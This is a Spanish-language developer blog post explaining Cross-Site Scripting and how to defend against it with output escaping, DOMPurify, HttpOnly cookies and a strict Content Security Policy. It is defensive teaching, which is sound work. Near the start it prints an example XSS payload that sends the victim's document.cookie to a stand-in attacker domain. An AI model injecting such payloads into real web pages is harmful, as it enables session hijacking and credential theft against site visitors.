xssseguridad webcspjavascript

XSS explicado: cómo funciona el ataque y cómo bloquearlo con CSP

Cross-Site Scripting de principio a fin: tipos de XSS, ejemplos reales de inyección, sanitización, cookies HttpOnly y la Content Security Policy bien configurada.

26 de agosto de 2026·9 min de lectura

El XSS (Cross-Site Scripting) lleva veinticinco años encabezando las listas de vulnerabilidades web no por complejidad sino por persistencia: basta UN punto del código donde un dato del usuario se convierta en código. Entenderlo a fondo —cómo se inyecta, qué consigue el atacante y qué capas lo detienen— es probablemente la mejor inversión de seguridad que puede hacer un desarrollador frontend o backend.

El mecanismo: cuando los datos se vuelven código

Toda web dinámica mezcla datos con estructura. El ataque ocurre en el punto exacto donde un dato controlado por el atacante es interpretado como instrucción:

// Un chat que muestra mensajes así:
element.innerHTML = mensaje;   // ← ¡PELIGRO!

// Mensaje del atacante:
<img src=x onerror="fetch('https://malicioso.es?cookie='+document.cookie)">

Ese HTML malicioso, renderizado en el navegador de la víctima, ejecuta JavaScript en el origen de tu aplicación: con acceso al DOM completo, a las cookies no-HttpOnly, al localStorage, y a la capacidad de lanzar peticiones autenticadas como si fuera el usuario. No necesita romper nada más: tu propia página le abrió la puerta.

Los tres tipos clásicos

Reflejado (reflected): el payload viaja en la petición actual — típico parámetro URL reflejado en la página. https://web.es/buscar?q=<script>.... Requiere engañar a la víctima para que haga clic; es el phishing técnico.

Almacenado (stored): el payload persiste en base de datos (comentario, bio, nombre de perfil) y golpea a cada visitante de esa página. El más peligroso: un solo posteo compromete a toda la audiencia sin interacción adicional.

Basado en DOM: la inyección ocurre íntegramente en cliente — código legítimo lee location.hash, postMessage o parámetros y los pasa a sinks peligrosos (innerHTML, eval, document.write) sin tocar servidor. Invisible para WAFs clásicos porque el ataque nunca viaja por cable en forma maliciosa.

Qué gana realmente el atacante

Concretemos el impacto real, no teórico:

  • Secuestro de sesión: document.cookie si falta HttpOnly → suplantación total sin contraseña.
  • Keylogging y phishing interno: overlay de login falso sobre tu app real; el usuario "re-loguea" y entrega credenciales.
  • Acciones autenticadas: transferencias, cambios de email/contraseña, borrados — todo desde el navegador de la víctima con sus permisos.
  • Worms: XSS almacenado que se auto-propaga (el histórico worm de Samy en MySpace infectó un millón de perfiles en 20 horas).

Capa 1: nunca generar HTML desde datos sin controlar

La defensa primaria es arquitectónica. En frameworks modernos (React, Vue, Angular) la interpolación estándar escapa automáticamente:

<div>{mensajeUsuario}</div>     // seguro: escapa < > &
<div dangerouslySetInnerHTML={{__html: mensajeUsuario}} />  // agujero manual

Los escapes HTML (<&lt; etc.) bastan cuando el dato va en contenido. Ojo con los contextos especiales donde escapar HTML NO protege: dentro de atributos href (javascript: URLs), en bloques <script> inline, o en CSS. Cada contexto tiene su codificación correcta — regla maestra: usa funciones de escape específicas del contexto, nunca una genérica.

Si necesitas renderizar HTML del usuario (un editor markdown, comentarios ricos), sanitiza con librerías mantenidas como DOMPurify — lista blanca de etiquetas y atributos permitidos, eliminación agresiva de todo handler on*.

Capa 2: cookies que el JS no puede leer

Mitiga el daño residual aunque algo escape: cookies de sesión siempre con los tres atributos:

Set-Cookie: sid=...; HttpOnly; Secure; SameSite=Lax

HttpOnly cierra el vector document.cookie — el robo directo de sesión deja de ser posible incluso con XSS exitoso. El atacante conservará capacidad de actuar desde el navegador de la víctima, pero no podrá exportar credenciales.

Capa 3: Content Security Policy, el cinturón estructural

CSP invierte el modelo de confianza: en lugar de confiar en todo script embebido, declara explícitamente qué fuentes de código son legítimas, y el navegador bloquea el resto. Se envía como cabecera HTTP:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.confiado.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  object-src 'none';
  frame-ancestors 'none';
  report-uri /csp-reports

Leyendo: scripts solo propios y del CDN listado — cualquier inline <script>alert(1)</script> o carga desde dominio raro muere antes de ejecutarse. object-src 'none' mata Flash/plugins legacy; frame-ancestors previene clickjacking.

El matiz importante: 'unsafe-inline' en script-src anula prácticamente toda la protección contra XSS — es la válvula de escape que muchos usan por comodidad y que convierte la CSP en decorativa. La vía moderna para mantenerla estricta son los nonces: el servidor genera un valor aleatorio por respuesta, lo incluye en la cabecera y en cada script legítimo; todo lo demás se bloquea:

Content-Security-Policy: script-src 'nonce-r4nd0m-por-respuesta';

Empieza en modo monitor (Content-Security-Policy-Report-Only) para descubrir qué rompería la política antes de activarla de verdad — los reports llegan a tu endpoint /csp-reports.

Verifica tus cabeceras

Una CSP mal escrita da falsa seguridad. Audita la respuesta real de tu sitio con nuestro analizador de cabeceras HTTP, que comprueba CSP junto al resto de cabeceras de seguridad — y para el contexto completo de cada una, la guía de cabeceras de seguridad. Si además sirves contenido generado por usuarios, revisa también qué revelan las cabeceras CORS sobre tu API.

Preguntas frecuentes

¿React/Vue me hacen inmune? A la vía accidental, sí (escapado automático). Pero cada dangerouslySetInnerHTML, v-html o integración de librería rica crea puntos manuales que requieren sanitización. El framework reduce superficie; no elimina responsabilidad.

¿Un WAF sustituye estas defensas? No. Los WAF filtran patrones conocidos en tránsito y se evaden con encoding/fragmentación; la sanitización en salida y la CSP operan en el único lugar infalible: tu aplicación y el navegador de la víctima.

¿CSP afecta al SEO o rendimiento? Negligible en ambos. Solo exige disciplina: recursos externos declarados, scripts con nonce o hash, y monitorización inicial de reports.


Comprueba la CSP y todas las cabeceras de seguridad de tu web con nuestro HTTP Headers Checker, gratis y directamente en tu navegador.

Pruébalo sin código

Verificador de Cabeceras HTTP

Cabeceras HTTP + análisis de seguridad HSTS/CSP.

Abrir Verificador de Cabeceras HTTP

Hecho por

Miguel Ángel Colorado Marin (MACM)

Full-Stack Developer · Guadalajara, España

Desarrollo aplicaciones web, herramientas digitales y proyectos completos — desde el diseño hasta el despliegue.

Contáctame